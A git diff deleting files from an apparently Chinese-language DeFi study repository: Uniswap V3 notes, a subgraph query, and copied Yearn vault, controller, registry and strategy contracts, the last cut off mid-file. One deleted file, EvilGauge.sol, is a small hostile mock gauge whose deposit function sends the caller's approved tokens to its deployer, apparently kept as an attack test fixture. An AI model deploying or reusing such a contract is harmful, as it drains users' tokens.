-     position.tokensOwed1 +=
-         uint128(amount1) +
-         uint128(
-             FullMath.mulDiv(
-                 feeGrowthInside1LastX128 - position.feeGrowthInside1LastX128,
-                 position.liquidity,
-                 FixedPoint128.Q128
-             )
-         );
-```
-如果某个流动性为0，并且所有的手续费已经收取，可以通过NonfungiblePositionManager的burn函数删除该流动性对应的ERC721的Token 。
-
-### SWAP
-swap的逻辑实现在SwapRouter.sol，实现了多条路径互连swap逻辑。总共有两套函数:
-- exactInputSingle/exactInput
-- exactOutputSingle/exactOutput
-exactInputSingle和exactOutputSingle是单交易池的swap函数，一个是从指定swap的输入金额，换取一定的输出，一个是指定swap的输出金额，反推需要多少输入金额。
-无论是exactInputSingle，还是exactOutputSingle，最终都是调用交易池的swap函数：
-
-
-### 提取交易费
-NonfungiblePositionManager提供了collect函数提取手续费。每个Position中记录在流动性不变的情况下的一定时间内的费用增长率（feeGrowthInside）
-
-tick范围
- imin=−887272,imax=887272
-
-
-## 测试代码
- delegatecall 相当于把另外一个合约（或库）的函数“拉”到了当前合约（D）来执行，就像当前合约的内部函数一样。
-
- 委托调用一个经典用法是合约的升级， 如果合约数据与逻辑分开， 逻辑函数通过委托调用来实现，就很容易实现逻辑的升级。
- 保证sender不变
-
- multicall 方法主要调用了两个方法：
-
- 主网weth地址：0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
- 主网USDT地址：0xdac17f958d2ee523a2206206994597c13d831ec7
- NonfungiblePositionManager: 0xc36442b4a4522e871399cd717abdd847ab11fe88
- factory: 0x1F98431c8aD98523631AE4a59f267346ea31F984
-
-1.首次添加流动性：
-```
-Function: mint((address,address,uint24,int24,int24,uint256,uint256,uint256,uint256,address,uint256))
-
- struct MintParams {
-        address token0;   //
-        address token1;   //
-        uint24 fee;
-        int24 tickLower;   //
-        int24 tickUpper;
-        uint256 amount0Desired;   //提供的 token0 数
-        uint256 amount1Desired;   //提供的 token1 数
-        uint256 amount0Min;
-        uint256 amount1Min;
-        address recipient;
-        uint256 deadline;
-    }
-```
-2. increaseLiquidity
-```
- struct IncreaseLiquidityParams {
-        uint256 tokenId;
-        uint256 amount0Desired;
-        uint256 amount1Desired;
-        uint256 amount0Min;
-        uint256 amount1Min;
-        uint256 deadline;
-    }
-```
-
-
-
-## 参考链接
-  https://learnblockchain.cn/article/2357
-  https://learnblockchain.cn/article/2580
-  https://liaoph.com/uniswap-v3-1/
-  https://medium.com/taipei-ethereum-meetup/uniswap-v3-features-explained-in-depth-178cfe45f223
-  //https://github.com/GammaStrategies/awesome-uniswap-v3
-  https://mp.weixin.qq.com/s/SYjT3HH48V7WaSGmkPOzKg  星想法
-  https://github.com/spore-engineering/nft-required-liquidity-mining-pool/blob/main/LiquidityFarmingNFT.sol   nft farming
-  https://github.com/omarish/uniswap-v3-deploy-plugin  一键部署V3
-  https://www.gelato.network/
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/subgraph.md b/Learn-DEFI-Uniswap-V3/subgraph.md
deleted file mode 100644
index e1bc8c859..000000000
--- a/Learn-DEFI-Uniswap-V3/subgraph.md
+++ /dev/null
@@ -1,51 +0,0 @@
-## uniswapV3 sungraph
- 1 使用已经部署好的graph
- https://thegraph.com/explorer/subgraph/benesjan/uniswap-v3-subgraph
- 2 输入查询语句
-```
-{
-  factories(first: 5) {
-    id
-    poolCount
-    txCount
-    totalVolumeUSD
-  }
-  bundles(first: 5) {
-    id
-    ethPriceUSD
-  }
-}
-
-
-{
-  positions(where : {owner : "0x1aeF26E2B724fFDe7d1105E206620e43bc8077C9" } ) {
-    id
-    owner
-    liquidity
- 
-    depositedToken0
-    depositedToken1
-    withdrawnToken0
-    withdrawnToken1
-    pool {
-      id
-      createdAtTimestamp
-    }
-    token0 {
-    symbol
-    }
-    token1 {
-      symbol
-    }
-  
-  }
-
-}
-
-
-```
- 
- 
- ## 参考链接
- https://github.com/Uniswap/uniswap-v3-subgraph
- https://github.com/croco-finance/uniswap-v3-subgraph/
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/whitepaper/whitepaper-v3.pdf b/Learn-DEFI-Uniswap-V3/whitepaper/whitepaper-v3.pdf
deleted file mode 100644
index 0bcefecd9..000000000
Binary files a/Learn-DEFI-Uniswap-V3/whitepaper/whitepaper-v3.pdf and /dev/null differ
diff --git a/Learn-DEFI-YFI/readme.md b/Learn-DEFI-YFI/readme.md
deleted file mode 100644
index 84394ed99..000000000
--- a/Learn-DEFI-YFI/readme.md
+++ /dev/null
@@ -1,16 +0,0 @@
-yvault 稳定币
-ydelegatevault link-aave抵押生成usdt
-yeth makerdao 抵押生成dai ，存到curve
-
-yvault  -> controller -> strategy
-
-yvault
-保管资金  每个币种一个
-
-controller
-earn:
- 转换到strategy deposit
-
-yearn：
-  重新计算
-  dai-curve -出售- dai
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/Controller.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/Controller.sol
deleted file mode 100644
index 16db9cd3d..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/Controller.sol
+++ /dev/null
@@ -1,179 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IConverter.sol";
-import "../../interfaces/yearn/IOneSplitAudit.sol";
-import "../../interfaces/yearn/IStrategy.sol";
-
-contract Controller {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public governance;
-    address public strategist;
-
-    address public onesplit;
-    address public rewards;
-    mapping(address => address) public vaults;
-    mapping(address => address) public strategies;
-    mapping(address => mapping(address => address)) public converters;
-
-    mapping(address => mapping(address => bool)) public approvedStrategies;
-
-    uint256 public split = 500;
-    uint256 public constant max = 10000;
-
-    constructor(address _rewards) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
-        rewards = _rewards;
-    }
-
-    function setRewards(address _rewards) public {
-        require(msg.sender == governance, "!governance");
-        rewards = _rewards;
-    }
-
-    function setStrategist(address _strategist) public {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setSplit(uint256 _split) public {
-        require(msg.sender == governance, "!governance");
-        split = _split;
-    }
-
-    function setOneSplit(address _onesplit) public {
-        require(msg.sender == governance, "!governance");
-        onesplit = _onesplit;
-    }
-
-    function setGovernance(address _governance) public {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setVault(address _token, address _vault) public {
-        require(msg.sender == strategist || msg.sender == governance, "!strategist");
-        require(vaults[_token] == address(0), "vault");
-        vaults[_token] = _vault;
-    }
-
-    function approveStrategy(address _token, address _strategy) public {
-        require(msg.sender == governance, "!governance");
-        approvedStrategies[_token][_strategy] = true;
-    }
-
-    function revokeStrategy(address _token, address _strategy) public {
-        require(msg.sender == governance, "!governance");
-        approvedStrategies[_token][_strategy] = false;
-    }
-
-    function setConverter(
-        address _input,
-        address _output,
-        address _converter
-    ) public {
-        require(msg.sender == strategist || msg.sender == governance, "!strategist");
-        converters[_input][_output] = _converter;
-    }
-
-    function setStrategy(address _token, address _strategy) public {
-        require(msg.sender == strategist || msg.sender == governance, "!strategist");
-        require(approvedStrategies[_token][_strategy] == true, "!approved");
-
-        address _current = strategies[_token];
-        if (_current != address(0)) {
-            IStrategy(_current).withdrawAll();
-        }
-        strategies[_token] = _strategy;
-    }
-
-    function earn(address _token, uint256 _amount) public {
-        address _strategy = strategies[_token];
-        address _want = IStrategy(_strategy).want();
-        if (_want != _token) {
-            address converter = converters[_token][_want];
-            IERC20(_token).safeTransfer(converter, _amount);
-            _amount = IConverter(converter).convert(_strategy);
-            IERC20(_want).safeTransfer(_strategy, _amount);
-        } else {
-            IERC20(_token).safeTransfer(_strategy, _amount);
-        }
-        IStrategy(_strategy).deposit();
-    }
-
-    function balanceOf(address _token) external view returns (uint256) {
-        return IStrategy(strategies[_token]).balanceOf();
-    }
-
-    function withdrawAll(address _token) public {
-        require(msg.sender == strategist || msg.sender == governance, "!strategist");
-        IStrategy(strategies[_token]).withdrawAll();
-    }
-
-    function inCaseTokensGetStuck(address _token, uint256 _amount) public {
-        require(msg.sender == strategist || msg.sender == governance, "!governance");
-        IERC20(_token).safeTransfer(msg.sender, _amount);
-    }
-
-    function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
-        require(msg.sender == strategist || msg.sender == governance, "!governance");
-        IStrategy(_strategy).withdraw(_token);
-    }
-
-    function getExpectedReturn(
-        address _strategy,
-        address _token,
-        uint256 parts
-    ) public view returns (uint256 expected) {
-        uint256 _balance = IERC20(_token).balanceOf(_strategy);
-        address _want = IStrategy(_strategy).want();
-        (expected, ) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
-    }
-
-    // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
-    function yearn(
-        address _strategy,
-        address _token,
-        uint256 parts
-    ) public {
-        require(msg.sender == strategist || msg.sender == governance, "!governance");
-        // This contract should never have value in it, but just incase since this is a public call
-        uint256 _before = IERC20(_token).balanceOf(address(this));
-        IStrategy(_strategy).withdraw(_token);
-        uint256 _after = IERC20(_token).balanceOf(address(this));
-        if (_after > _before) {
-            uint256 _amount = _after.sub(_before);
-            address _want = IStrategy(_strategy).want();
-            uint256[] memory _distribution;
-            uint256 _expected;
-            _before = IERC20(_want).balanceOf(address(this));
-            IERC20(_token).safeApprove(onesplit, 0);
-            IERC20(_token).safeApprove(onesplit, _amount);
-            (_expected, _distribution) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
-            IOneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
-            _after = IERC20(_want).balanceOf(address(this));
-            if (_after > _before) {
-                _amount = _after.sub(_before);
-                uint256 _reward = _amount.mul(split).div(max);
-                earn(_want, _amount.sub(_reward));
-                IERC20(_want).safeTransfer(rewards, _reward);
-            }
-        }
-    }
-
-    function withdraw(address _token, uint256 _amount) public {
-        require(msg.sender == vaults[_token], "!vault");
-        IStrategy(strategies[_token]).withdraw(_amount);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/DelegatedController.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/DelegatedController.sol
deleted file mode 100644
index ac2f5172d..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/controllers/DelegatedController.sol
+++ /dev/null
@@ -1,187 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IStrategy.sol";
-import "../../interfaces/yearn/IConverter.sol";
-import "../../interfaces/yearn/IOneSplitAudit.sol";
-import "../../interfaces/yearn/IDelegatedVault.sol";
-
-contract DelegatedController {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public governance;
-    address public onesplit;
-    address public rewards;
-
-    // Vault to strategy mapping
-    mapping(address => address) public vaults;
-    // Strategy to vault mapping
-    mapping(address => address) public strategies;
-
-    mapping(address => mapping(address => address)) public converters;
-
-    mapping(address => bool) public isVault;
-    mapping(address => bool) public isStrategy;
-
-    uint256 public split = 500;
-    uint256 public constant max = 10000;
-
-    constructor(address _rewards) public {
-        governance = msg.sender;
-        onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
-        rewards = _rewards;
-    }
-
-    function setSplit(uint256 _split) external {
-        require(msg.sender == governance, "!governance");
-        split = _split;
-    }
-
-    function setOneSplit(address _onesplit) external {
-        require(msg.sender == governance, "!governance");
-        onesplit = _onesplit;
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setConverter(
-        address _input,
-        address _output,
-        address _converter
-    ) external {
-        require(msg.sender == governance, "!governance");
-        converters[_input][_output] = _converter;
-    }
-
-    function setStrategy(address _vault, address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        address _current = strategies[_vault];
-        if (_current != address(0)) {
-            IStrategy(_current).withdrawAll();
-        }
-        strategies[_vault] = _strategy;
-        isStrategy[_strategy] = true;
-        vaults[_strategy] = _vault;
-        isVault[_vault] = true;
-    }
-
-    function want(address _vault) external view returns (address) {
-        return IStrategy(strategies[_vault]).want();
-    }
-
-    function earn(address _vault, uint256 _amount) public {
-        address _strategy = strategies[_vault];
-        address _want = IStrategy(_strategy).want();
-        IERC20(_want).safeTransfer(_strategy, _amount);
-        IStrategy(_strategy).deposit();
-    }
-
-    function balanceOf(address _vault) external view returns (uint256) {
-        return IStrategy(strategies[_vault]).balanceOf();
-    }
-
-    function withdrawAll(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        // WithdrawAll sends 'want' to 'vault'
-        IStrategy(_strategy).withdrawAll();
-    }
-
-    function inCaseTokensGetStuck(address _token, uint256 _amount) external {
-        require(msg.sender == governance, "!governance");
-        IERC20(_token).safeTransfer(governance, _amount);
-    }
-
-    function inCaseStrategyGetStruck(address _strategy, address _token) external {
-        require(msg.sender == governance, "!governance");
-        IStrategy(_strategy).withdraw(_token);
-        IERC20(_token).safeTransfer(governance, IERC20(_token).balanceOf(address(this)));
-    }
-
-    function getExpectedReturn(
-        address _strategy,
-        address _token,
-        uint256 parts
-    ) external view returns (uint256 expected) {
-        uint256 _balance = IERC20(_token).balanceOf(_strategy);
-        address _want = IStrategy(_strategy).want();
-        (expected, ) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
-    }
-
-    function claimInsurance(address _vault) external {
-        require(msg.sender == governance, "!governance");
-        IDelegatedVault(_vault).claimInsurance();
-    }
-
-    // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
-    function delegatedHarvest(address _strategy, uint256 parts) external {
-        // This contract should never have value in it, but just incase since this is a public call
-        address _have = IStrategy(_strategy).want();
-        uint256 _before = IERC20(_have).balanceOf(address(this));
-        IStrategy(_strategy).skim();
-        uint256 _after = IERC20(_have).balanceOf(address(this));
-        if (_after > _before) {
-            uint256 _amount = _after.sub(_before);
-            address _want = IDelegatedVault(vaults[_strategy]).token();
-            uint256[] memory _distribution;
-            uint256 _expected;
-            _before = IERC20(_want).balanceOf(address(this));
-            IERC20(_have).safeApprove(onesplit, 0);
-            IERC20(_have).safeApprove(onesplit, _amount);
-            (_expected, _distribution) = IOneSplitAudit(onesplit).getExpectedReturn(_have, _want, _amount, parts, 0);
-            IOneSplitAudit(onesplit).swap(_have, _want, _amount, _expected, _distribution, 0);
-            _after = IERC20(_want).balanceOf(address(this));
-            if (_after > _before) {
-                _amount = _after.sub(_before);
-                uint256 _reward = _amount.mul(split).div(max);
-                IERC20(_want).safeTransfer(vaults[_strategy], _amount.sub(_reward));
-                IERC20(_want).safeTransfer(rewards, _reward);
-            }
-        }
-    }
-
-    // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
-    function harvest(
-        address _strategy,
-        address _token,
-        uint256 parts
-    ) external {
-        // This contract should never have value in it, but just incase since this is a public call
-        uint256 _before = IERC20(_token).balanceOf(address(this));
-        IStrategy(_strategy).withdraw(_token);
-        uint256 _after = IERC20(_token).balanceOf(address(this));
-        if (_after > _before) {
-            uint256 _amount = _after.sub(_before);
-            address _want = IStrategy(_strategy).want();
-            uint256[] memory _distribution;
-            uint256 _expected;
-            _before = IERC20(_want).balanceOf(address(this));
-            IERC20(_token).safeApprove(onesplit, 0);
-            IERC20(_token).safeApprove(onesplit, _amount);
-            (_expected, _distribution) = IOneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
-            IOneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
-            _after = IERC20(_want).balanceOf(address(this));
-            if (_after > _before) {
-                _amount = _after.sub(_before);
-                uint256 _reward = _amount.mul(split).div(max);
-                earn(_want, _amount.sub(_reward));
-                IERC20(_want).safeTransfer(rewards, _reward);
-            }
-        }
-    }
-
-    function withdraw(address _vault, uint256 _amount) external {
-        require(isVault[msg.sender] == true, "!vault");
-        IStrategy(strategies[_vault]).withdraw(_amount);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/exploits/EvilGauge.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/exploits/EvilGauge.sol
deleted file mode 100644
index 62e0b0c9a..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/exploits/EvilGauge.sol
+++ /dev/null
@@ -1,17 +0,0 @@
-pragma solidity =0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-
-contract EvilGauge {
-    IERC20 token;
-    address owner;
-
-    constructor(address _token) public {
-        owner = msg.sender;
-        token = IERC20(_token);
-    }
-
-    function deposit(uint256 amount) public {
-        token.transferFrom(msg.sender, owner, amount);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/registries/YRegistry.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/registries/YRegistry.sol
deleted file mode 100644
index fb2389099..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/registries/YRegistry.sol
+++ /dev/null
@@ -1,232 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/utils/EnumerableSet.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IStrategy.sol";
-import "../../interfaces/yearn/IVault.sol";
-import "../../interfaces/yearn/IWrappedVault.sol";
-
-contract YRegistry {
-    using Address for address;
-    using SafeMath for uint256;
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    address public governance;
-    address public pendingGovernance;
-
-    EnumerableSet.AddressSet private vaults;
-    EnumerableSet.AddressSet private controllers;
-
-    mapping(address => address) private wrappedVaults;
-
-    mapping(address => bool) public isDelegatedVault;
-
-    constructor(address _governance) public {
-        require(_governance != address(0), "Missing Governance");
-        governance = _governance;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "YRegistry";
-    }
-
-    function addVault(address _vault) public onlyGovernance {
-        setVault(_vault);
-
-        (address controller, , , , ) = getVaultData(_vault);
-
-        setController(controller);
-    }
-
-    function addWrappedVault(address _vault) public onlyGovernance {
-        setVault(_vault);
-        address wrappedVault = IWrappedVault(_vault).vault();
-        setWrappedVault(_vault, wrappedVault);
-
-        (address controller, , , , ) = getVaultData(_vault);
-
-        // Adds to controllers array
-        setController(controller);
-        // TODO Add and track tokens and strategies? [historical]
-        // (current ones can be obtained via getVaults + getVaultInfo)
-    }
-
-    function addDelegatedVault(address _vault) public onlyGovernance {
-        setVault(_vault);
-        setDelegatedVault(_vault);
-
-        (address controller, , , , ) = getVaultData(_vault);
-
-        // Adds to controllers array
-        setController(controller);
-        // TODO Add and track tokens and strategies? [historical]
-        // (current ones can be obtained via getVaults + getVaultInfo)
-    }
-
-    function setVault(address _vault) internal {
-        require(_vault.isContract(), "Vault is not a contract");
-        // Checks if vault is already on the array
-        require(!vaults.contains(_vault), "Vault already exists");
-        // Adds unique _vault to vaults array
-        vaults.add(_vault);
-    }
-
-    function setWrappedVault(address _vault, address _wrappedVault) internal {
-        require(_wrappedVault.isContract(), "WrappedVault is not a contract");
-        wrappedVaults[_vault] = _wrappedVault;
-    }
-
-    function setDelegatedVault(address _vault) internal {
-        // TODO Is there any way to check if a vault is delegated
-        isDelegatedVault[_vault] = true;
-    }
-
-    function setController(address _controller) internal {
-        // Adds Controller to controllers array
-        if (!controllers.contains(_controller)) {
-            controllers.add(_controller);
-        }
-    }
-
-    function removeVault(address _vault) public onlyGovernance {
-        vaults.remove(_vault);
-    }
-
-    function getVaultData(address _vault)
-        internal
-        view
-        returns (
-            address controller,
-            address token,
-            address strategy,
-            bool isWrapped,
-            bool isDelegated
-        )
-    {
-        address vault = _vault;
-        isWrapped = wrappedVaults[_vault] != address(0);
-        if (isWrapped) {
-            vault = wrappedVaults[_vault];
-        }
-        isDelegated = isDelegatedVault[vault];
-
-        // Get values from controller
-        controller = IVault(vault).controller();
-        if (isWrapped && IVault(vault).underlying() != address(0)) {
-            token = IVault(_vault).token(); // Use non-wrapped vault
-        } else {
-            token = IVault(vault).token();
-        }
-
-        if (isDelegated) {
-            strategy = IController(controller).strategies(vault);
-        } else {
-            strategy = IController(controller).strategies(token);
-        }
-
-        // Check if vault is set on controller for token
-        address controllerVault = address(0);
-        if (isDelegated) {
-            controllerVault = IController(controller).vaults(strategy);
-        } else {
-            controllerVault = IController(controller).vaults(token);
-        }
-        require(controllerVault == vault, "Controller vault address does not match"); // Might happen on Proxy Vaults
-
-        // Check if strategy has the same token as vault
-        if (isWrapped) {
-            address underlying = IVault(vault).underlying();
-            require(underlying == token, "WrappedVault token address does not match"); // Might happen?
-        } else if (!isDelegated) {
-            address strategyToken = IStrategy(strategy).want();
-            require(token == strategyToken, "Strategy token address does not match"); // Might happen?
-        }
-
-        return (controller, token, strategy, isWrapped, isDelegated);
-    }
-
-    // Vaults getters
-    function getVault(uint256 index) external view returns (address vault) {
-        return vaults.get(index);
-    }
-
-    function getVaultsLength() external view returns (uint256) {
-        return vaults.length();
-    }
-
-    function getVaults() external view returns (address[] memory) {
-        address[] memory vaultsArray = new address[](vaults.length());
-        for (uint256 i = 0; i < vaults.length(); i++) {
-            vaultsArray[i] = vaults.get(i);
-        }
-        return vaultsArray;
-    }
-
-    function getVaultInfo(address _vault)
-        external
-        view
-        returns (
-            address controller,
-            address token,
-            address strategy,
-            bool isWrapped,
-            bool isDelegated
-        )
-    {
-        (controller, token, strategy, isWrapped, isDelegated) = getVaultData(_vault);
-        return (controller, token, strategy, isWrapped, isDelegated);
-    }
-
-    function getVaultsInfo()
-        external
-        view
-        returns (
-            address[] memory vaultsAddresses,
-            address[] memory controllerArray,
-            address[] memory tokenArray,
-            address[] memory strategyArray,
-            bool[] memory isWrappedArray,
-            bool[] memory isDelegatedArray
-        )
-    {
-        vaultsAddresses = new address[](vaults.length());
-        controllerArray = new address[](vaults.length());
-        tokenArray = new address[](vaults.length());
-        strategyArray = new address[](vaults.length());
-        isWrappedArray = new bool[](vaults.length());
-        isDelegatedArray = new bool[](vaults.length());
-
-        for (uint256 i = 0; i < vaults.length(); i++) {
-            vaultsAddresses[i] = vaults.get(i);
-            (address _controller, address _token, address _strategy, bool _isWrapped, bool _isDelegated) = getVaultData(vaults.get(i));
-            controllerArray[i] = _controller;
-            tokenArray[i] = _token;
-            strategyArray[i] = _strategy;
-            isWrappedArray[i] = _isWrapped;
-            isDelegatedArray[i] = _isDelegated;
-        }
-    }
-
-    // Governance setters
-    function setPendingGovernance(address _pendingGovernance) external onlyGovernance {
-        pendingGovernance = _pendingGovernance;
-    }
-
-    function acceptGovernance() external onlyPendingGovernance {
-        governance = msg.sender;
-    }
-
-    modifier onlyGovernance {
-        require(msg.sender == governance, "Only governance can call this function.");
-        _;
-    }
-    modifier onlyPendingGovernance {
-        require(msg.sender == pendingGovernance, "Only pendingGovernance can call this function.");
-        _;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/CurveYCRVVoter.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/CurveYCRVVoter.sol
deleted file mode 100644
index 84f5a5b5b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/CurveYCRVVoter.sol
+++ /dev/null
@@ -1,136 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/curve/VoteEscrow.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/yearn/IToken.sol";
-
-contract CurveYCRVVoter {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant pool = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1);
-    address public constant mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant escrow = address(0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2);
-
-    address public governance;
-    address public strategy;
-
-    constructor() public {
-        governance = msg.sender;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "CurveYCRVVoter";
-    }
-
-    function setStrategy(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        strategy = _strategy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(pool, 0);
-            IERC20(want).safeApprove(pool, _want);
-            Gauge(pool).deposit(_want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == strategy, "!controller");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(strategy, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == strategy, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-        IERC20(want).safeTransfer(strategy, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == strategy, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-        IERC20(want).safeTransfer(strategy, balance);
-    }
-
-    function _withdrawAll() internal {
-        Gauge(pool).withdraw(Gauge(pool).balanceOf(address(this)));
-    }
-
-    function createLock(uint256 _value, uint256 _unlockTime) external {
-        require(msg.sender == strategy || msg.sender == governance, "!authorized");
-        IERC20(crv).safeApprove(escrow, 0);
-        IERC20(crv).safeApprove(escrow, _value);
-        VoteEscrow(escrow).create_lock(_value, _unlockTime);
-    }
-
-    function increaseAmount(uint256 _value) external {
-        require(msg.sender == strategy || msg.sender == governance, "!authorized");
-        IERC20(crv).safeApprove(escrow, 0);
-        IERC20(crv).safeApprove(escrow, _value);
-        VoteEscrow(escrow).increase_amount(_value);
-    }
-
-    function release() external {
-        require(msg.sender == strategy || msg.sender == governance, "!authorized");
-        VoteEscrow(escrow).withdraw();
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        Gauge(pool).withdraw(_amount);
-        return _amount;
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return Gauge(pool).balanceOf(address(this));
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function execute(
-        address to,
-        uint256 value,
-        bytes calldata data
-    ) external returns (bool, bytes memory) {
-        require(msg.sender == strategy || msg.sender == governance, "!governance");
-        (bool success, bytes memory result) = to.call.value(value)(data);
-
-        return (success, result);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCreamYFI.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCreamYFI.sol
deleted file mode 100644
index c540e0e34..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCreamYFI.sol
+++ /dev/null
@@ -1,191 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/cream/Controller.sol";
-import "../../interfaces/compound/Token.sol";
-import "../../interfaces/uniswap/Uni.sol";
-
-import "../../interfaces/yearn/IController.sol";
-
-contract StrategyCreamYFI {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);
-
-    Creamtroller public constant creamtroller = Creamtroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);
-
-    address public constant crYFI = address(0xCbaE0A83f4f9926997c8339545fb8eE32eDc6b76);
-    address public constant cream = address(0x2ba592F78dB6436527729929AAf6c908497cB200);
-
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for cream <> weth <> yfi route
-
-    uint256 public performanceFee = 500;
